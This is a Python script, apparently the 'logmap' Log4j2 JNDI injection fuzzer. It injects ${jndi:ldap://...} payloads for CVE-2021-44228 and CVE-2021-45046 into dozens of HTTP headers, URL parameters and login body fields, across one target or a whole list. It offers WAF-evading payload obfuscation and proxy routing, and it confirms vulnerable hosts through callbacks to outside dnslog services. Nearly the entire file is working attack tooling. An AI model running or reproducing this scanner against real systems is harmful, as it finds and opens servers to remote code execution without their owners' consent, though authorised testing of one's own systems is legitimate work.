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logmap.py
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logmap.py
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# __
# / / ___ ___ ___ _ ___ ____
# / /__/ _ \/ _ `/ ' \/ _ `/ _ \
# /____/\___/\_, /_/_/_/\_,_/ .__/
# /___/ /_/
#
# from https://github.com/zhzyker/logmap
# Log4j2 jndi injection fuzz tool
import sys
import time
import json
import socket
import random
import string
import hashlib
import requests
import argparse
import textwrap
import socks
import urllib3
import platform
import threading
from random import getrandbits
from urllib.parse import urlparse
urllib3.disable_warnings()
def logger(log="green", text=""):
if platform.system().lower() == 'windows':
print(text)
else:
if log == "green":
print("\033[92m{}\033[0m".format(text))
if log == "green_b":
print("\033[1;92m{}\033[0m".format(text))
if log == "red":
print("\033[91m{}\033[0m".format(text))
if log == "white":
print("\033[37m{}\033[0m".format(text))
if log == "yellow":
print("\033[33m{}\033[0m".format(text))
if log == "blue":
print("\033[34m{}\033[0m".format(text))
if log == "banner":
print("\033[1;36m{}\033[0m".format(text))
def banners():
logger("banner", """ __
/ / ___ ___ ___ _ ___ ____
/ /__/ _ \/ _ `/ ' \/ _ `/ _ \\
/____/\___/\_, /_/_/_/\_,_/ .__/
/___/ /_/ \n""")
def random_md5():
st = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
md = hashlib.md5("".join(st).encode('utf-8')).hexdigest()
return str(md)
def random_str(i=6):
return ''.join(random.choices(string.ascii_letters + string.digits, k=i))
def arg():
parser = argparse.ArgumentParser(usage="python3 logmap.py [options]", add_help=False)
gen = parser.add_argument_group("Help", "How to use")
gen.add_argument("-u", "--url", dest="url", type=str, help=" Target URL (e.g. http://example.com )")
gen.add_argument("-f", "--file", dest="file", help="Select a target list file (e.g. list.txt )")
gen.add_argument("-c", "--cve", dest="cve", metavar="1", type=int, default=1,
help="CVE [1:CVE-2021-44228, 2:CVE-2021-45046] default 1")
gen.add_argument("-d", "--dns", dest="dns", metavar="1", type=int, default=1,
help="Dnslog [1:log.xn--9tr.com, 2:ceye.io] default 1")
gen.add_argument("-p", dest="payload", help="Custom payload (e.g. ${jndi:ldap://xx.dns.xx/} ) ")
gen.add_argument("-t", dest="timeout", metavar="20", default=20, help="Http timeout default 20s")
gen.add_argument("-o", dest="output", metavar="file", help="Output file")
gen.add_argument("-w", "--waf", dest="waf", action='store_true', help="Obfuscate the payload and bypass waf")
gen.add_argument("--proxy", dest="proxy", help="Proxy [socks5/socks4/http] (e.g. http://127.0.0.1:8080)")
gen.add_argument("-h", "--help", action="help", help="Show this help message and exit")
return parser.parse_args()
def print_roundtrip(response, *args, **kwargs):
format_headers = lambda d: '\n'.join(f'{k}: {v}' for k, v in d.items())
if response.request.body == None:
return textwrap.dedent('''
********************** request **********************
{req.method} {req.url}
{reqhdrs}
*****************************************************
''').format(
req=response.request,
res=response,
reqhdrs=format_headers(response.request.headers),
reshdrs=format_headers(response.headers),
)
return textwrap.dedent('''
********************** request **********************
{req.method} {req.url}
{reqhdrs}
{req.body}
*****************************************************
''').format(
req=response.request,
res=response,
reqhdrs=format_headers(response.request.headers),
reshdrs=format_headers(response.headers),
)
def confuse_chars(char):
"""
Reference: https://github.com/woodpecker-appstore/log4j-payload-generator/blob/master/src/main/java/me/gv7/woodpekcer/vuldb/StringObfuscator2.java
by https://github.com/c0ny1
"""
garbageCount = random.randint(1, 5)
i = 0
garbage = ''
lst = []
while i < garbageCount:
garbageLength = random.randint(1, 6)
garbageWord = random_str(garbageLength)
i += 1
lst.append(garbageWord)
lst.append(":")
garbage = ''.join(lst)
return "${{{0}-{1}}}".format(garbage, char)
def confuse_payload(chars):
"""
Reference: https://github.com/woodpecker-appstore/log4j-payload-generator/blob/master/src/main/java/me/gv7/woodpekcer/vuldb/StringObfuscator2.java
by https://github.com/c0ny1
"""
lst = []
for char in chars:
use = not getrandbits(1)
if char == "$" or char == "{" or char == "}" or char == "#":
use = False
if use:
lst.append(confuse_chars(char))
else:
lst.append(char)
return ''.join([str(s) for s in lst])
def fuzz_headers(threads, lock, target, domain, timeout, headers, result_md5_req, md5, key, value):
dns_domain = md5 + "." + domain
value = value.replace("DNS_LOG_DOMAIN", dns_domain)
if args.waf:
value = confuse_payload(value)
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36",
key: value
}
try:
logger("green", "[*] Fuzz headers: {}".format(key))
req = requests.get(target, timeout=timeout, headers=headers, verify=False)
result_md5_req[md5] = print_roundtrip(req)
except:
logger("green_b", "[?] Fuzz headers: {} abnormal".format(key))
result_md5_req[md5] = "********************** payload **********************\n\n" \
"{}: {}\n\n" \
"*****************************************************".format(key, value)
def fuzz_path(threads, lock, target, domain, timeout, headers, result_md5_req, md5, key_path, value_path):
dns_domain = md5 + "." + domain
value_path = value_path.replace("DNS_LOG_DOMAIN", dns_domain)
if args.waf:
value_path = confuse_payload(value_path)
path_p = key_path + value_path
try:
logger("green", "[*] Fuzz url path: {}".format(path_p))
req = requests.get(target + path_p, timeout=timeout, headers=headers, verify=False)
result_md5_req[md5] = print_roundtrip(req)
except:
result_md5_req[md5] = "********************** payload **********************\n\n" \
"{}\n\n" \
"*****************************************************".format(path_p)
logger("green_b", "[?] Fuzz url path: {} abnormal".format(path_p))
result_md5_req[md5] = "payload: {}".format(path_p)
def fuzz_body(threads, lock, target, domain, timeout, headers, result_md5_req, md5, key_body, payload):
dns_domain = md5 + "." + domain
payload_body = payload.replace("DNS_LOG_DOMAIN", dns_domain)
if args.waf:
payload_body = confuse_payload(key_body.replace("DNS_LOG_DOMAIN", dns_domain))
body = key_body.replace("RE_PAYLOAD", payload_body)
try:
logger("green", "[*] Fuzz body: {}".format(body))
req = requests.post(target, data=body, timeout=timeout, headers=headers, verify=False)
result_md5_req[md5] = print_roundtrip(req)
except:
logger("green_b", "[?] Fuzz body: {} abnormal".format(body))
result_md5_req[md5] = "********************** payload **********************\n\n" \
"{}\n\n" \
"*****************************************************".format(body)
def run_fuzz(target, payload, timeout, domain, token):
lock = threading.Lock()
path_payload_list = {
"": "",
"/hello": payload,
"?id=": payload,
"?username=": payload,
"?page=": payload,
}
headers= {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36"
}
headers_payload_lists = {
"Accept": payload,
"Accept-Charset": payload,
"Accept-Datetime": payload,
"Accept-Encoding": payload,
"Accept-Language": payload,
"Ali-CDN-Real-IP": payload,
"Authorization": payload,
"Cache-Control": payload,
"Cdn-Real-Ip": payload,
"Cdn-Src-Ip": payload,
"CF-Connecting-IP": payload,
"Client-IP": payload,
"Contact": payload,
"Cookie": payload,
"DNT": payload,
"Fastly-Client-Ip": payload,
"Forwarded-For-Ip": payload,
"Forwarded-For": payload,
"Forwarded": payload,
"Forwarded-Proto": payload,
"From": payload,
"If-Modified-Since": payload,
"Max-Forwards": payload,
"Originating-Ip": payload,
"Origin": payload,
"Pragma": payload,
"Proxy-Client-IP": payload,
"Proxy": payload,
"Referer": payload,
"TE": payload,
"True-Client-Ip": payload,
"True-Client-IP": payload,
"Upgrade": payload,
"User-Agent": payload,
"Via": payload,
"Warning": payload,
"WL-Proxy-Client-IP": payload,
"X-Api-Version": payload,
"X-ATT-DeviceId": payload,
"X-Client-IP": payload,
"X-Cluster-Client-IP": payload,
"X-Correlation-ID": payload,
"X-Csrf-Token": payload,
"X-CSRFToken": payload,
"X-Do-Not-Track": payload,
"X-Foo-Bar": payload,
"X-Foo": payload,
"X-Forwarded-By": payload,
"X-Forwarded-For-Original": payload,
"X-Forwarded-For": payload,
"X-Forwarded-Host": payload,
"X-Forwarded": payload,
"X-Forwarded-Port": payload,
"X-Forwarded-Protocol": payload,
"X-Forwarded-Proto": payload,
"X-Forwarded-Scheme": payload,
"X-Forwarded-Server": payload,
"X-Forwarded-Ssl": payload,
"X-Forwarder-For": payload,
"X-Forward-For": payload,
"X-Forward-Proto": payload,
"X-Frame-Options": payload,
"X-From": payload,
"X-Geoip-Country": payload,
"X-Host": payload,
"X-Http-Destinationurl": payload,
"X-Http-Host-Override": payload,
"X-Http-Method-Override": payload,
"X-HTTP-Method-Override": payload,
"X-Http-Method": payload,
"X-Http-Path-Override": payload,
"X-Https": payload,
"X-Htx-Agent": payload,
"X-Hub-Signature": payload,
"X-If-Unmodified-Since": payload,
"X-Imbo-Test-Config": payload,
"X-Insight": payload,
"X-Ip": payload,
"X-Ip-Trail": payload,
"X-Leakix": payload,
"X-Original-URL": payload,
"X-Originating-IP": payload,
"X-ProxyUser-Ip": payload,
"X-Real-Ip": payload,
"X-Remote-Addr": payload,
"X-Remote-IP": payload,
"X-Requested-With": payload,
"X-Request-ID": payload,
"X-True-IP": payload,
"X-UIDH": payload,
"X-Wap-Profile": payload,
"X-WAP-Profile": payload,
"X-XSRF-TOKEN": payload,
}
body_payload_lists = [
'payload=RE_PAYLOAD',
'user=RE_PAYLOAD',
'pass=RE_PAYLOAD',
'username=RE_PAYLOAD',
'password=RE_PAYLOAD',
'login=RE_PAYLOAD',
'email=RE_PAYLOAD',
'principal=RE_PAYLOAD',
'token=RE_PAYLOAD',
'verify=RE_PAYLOAD',
'dest=RE_PAYLOAD',
'login_username=RE_PAYLOAD',
'login_password=RE_PAYLOAD',
'authorization=RE_PAYLOAD',
'city=RE_PAYLOAD',
'user=RE_PAYLOAD&pass=RE_PAYLOAD',
'username=RE_PAYLOAD&password=RE_PAYLOAD',
'USERNAME=RE_PAYLOAD&PASSWORD=RE_PAYLOAD',
'j_username=RE_PAYLOAD&j_password=RE_PAYLOAD',
]
result_md5_req = {}
threads = []
threads.append([threading.Thread(target=fuzz_headers, args=(threads, lock, target, domain, timeout, headers, result_md5_req, random_md5(), key, value)) for (key, value) in headers_payload_lists.items()])
for (key_path, value_path) in path_payload_list.items():
if key_path == "":
threads.append([threading.Thread(target=fuzz_body, args=(threads, lock, target, domain, timeout, headers, result_md5_req, random_md5(), key_body, payload)) for key_body in body_payload_lists])
threads.append(threading.Thread(target=fuzz_path, args=(threads, lock, target, domain, timeout, headers, result_md5_req, random_md5(), key_path, value_path)))
i = 0
for t in threads:
i += 1
if i == 3:
break
for o in t:
o.start()
for o in t:
o.join()
if args.payload:
logger("yellow", "[*] Please check your dns")
else:
if dns_verify(args, target, result_md5_req, token):
logger("green", "[+] Log4j2 fuzz end")
else:
logger("yellow", "[-] Not found Log4j2 vuln, fuzz end")
def check_log4j2(args):
if args.url == args.file:
logger("red", "[!] Must specify -u or -f")
sys.exit(0)
dns_result = dnslog(args, type=args.dns)
domain = dns_result[0]
token = dns_result[1]
timeout = args.timeout
logger("yellow", "[*] Get domain: {} token: {}".format(domain, token))
if args.payload:
payload = args.payload
elif args.cve == 1:
payload = "${{jndi:ldap://{0}:443/{1}}}".format("DNS_LOG_DOMAIN", random_str())
logger("yellow",
"[+] Use CVE-2021-44228 paylaod: {}"
.format(payload.replace("DNS_LOG_DOMAIN", "md5." + domain)))
else:
payload = "${{jndi:ldap://127.0.0.1#{0}:443/{1}}}".format("DNS_LOG_DOMAIN", random_str())
logger("yellow",
"[+] Use CVE-2021-45046 paylaod: {}"
.format(payload.replace("DNS_LOG_DOMAIN", "md5." + domain)))
if args.file:
for line in open(args.file):
line = line.strip()
line = line.strip("\r\n")
if "http" not in line:
line = "http://" + line
if line == "":
continue
logger("yellow", "[+] Check target: {}".format(line))
if not line:
break
run_fuzz(line, payload, timeout, domain, token)
else:
if "http" not in args.url:
args.url = "http://" + args.url
run_fuzz(args.url, payload, timeout, domain, token)
def dns_verify(args, target, result_md5_req, token):
logger("yellow", "[*] Get dnslog results")
dnslog_result = dnslog(args, type=args.dns, function="verify", token=token)
i = 0
for (key, value) in result_md5_req.items():
if key in dnslog_result:
logger("red", "[+] Found the Log4j2 vulnerability, Md5 is: {}".format(key))
logger("white", value)
if args.output:
with open(args.output, 'a') as output_file:
output_file.write("{}\r\n{}\r\n".format(target, value))
i += 1
if i != 0:
return True
return False
def dnslog(args, type=1, function="get", token="", md5=""):
if type == 1:
if function == "get":
try:
request = requests.get("https://log.xn--9tr.com/new_gen", verify=False, headers={
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36"})
domain = json.loads(request.text)["domain"]
key = json.loads(request.text)["key"]
token = json.loads(request.text)["token"]
result = [domain, token]
return result
except:
logger("red", "[-] https://log.xn--9tr.com/new_gen Request failed")
elif function == "verify":
try:
time.sleep(2)
request = requests.get("https://log.xn--9tr.com/" + token, verify=False)
return request.text
except:
logger("red", "[-] https://log.xn--9tr.com/{} Request failed".format(token))
return ""
return ["null", "null"]
elif type == 2:
if function == "get":
if "xxxxxx" in args.ceye[0]:
logger("red", "[!] Need to set domain and token http://ceye.io")
sys.exit(0)
return args.ceye
elif function == "verify":
try:
time.sleep(2)
request = requests.get("http://api.ceye.io/v1/records?token={}&type=dns".format(args.ceye[1]))
return request.text
except:
logger("red", "[-] http://api.ceye.io/v1/records?token={}&type=dns Request failed".format(args.ceye[1]))
return ""
return ["null", "null"]
def proxy(args):
if args.proxy:
_url = urlparse(args.proxy)
hostname = _url.hostname
port = _url.port
scheme = _url.scheme
if "http" in scheme:
socks.set_default_proxy(socks.HTTP, hostname, port)
socket.socket = socks.socksocket
elif "socks5" in scheme:
socks.set_default_proxy(socks.SOCKS5, hostname, port)
socket.socket = socks.socksocket
elif "socks4" in scheme:
socks.set_default_proxy(socks.SOCKS4, hostname, port)
socket.socket = socks.socksocket
logger("yellow", "[+] Use proxy {}".format(args.proxy))
if __name__ == '__main__':
banners()
logger("blue", "[*] Log4j2 jndi injection fuzz tool")
logger("blue", "[*] Version: 0.6")
logger("blue", "[*] From https://github.com/zhzyker/logmap")
args = arg()
args.ceye = ["xxxxxx.ceye.io", "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"]
proxy(args)
check_log4j2(args)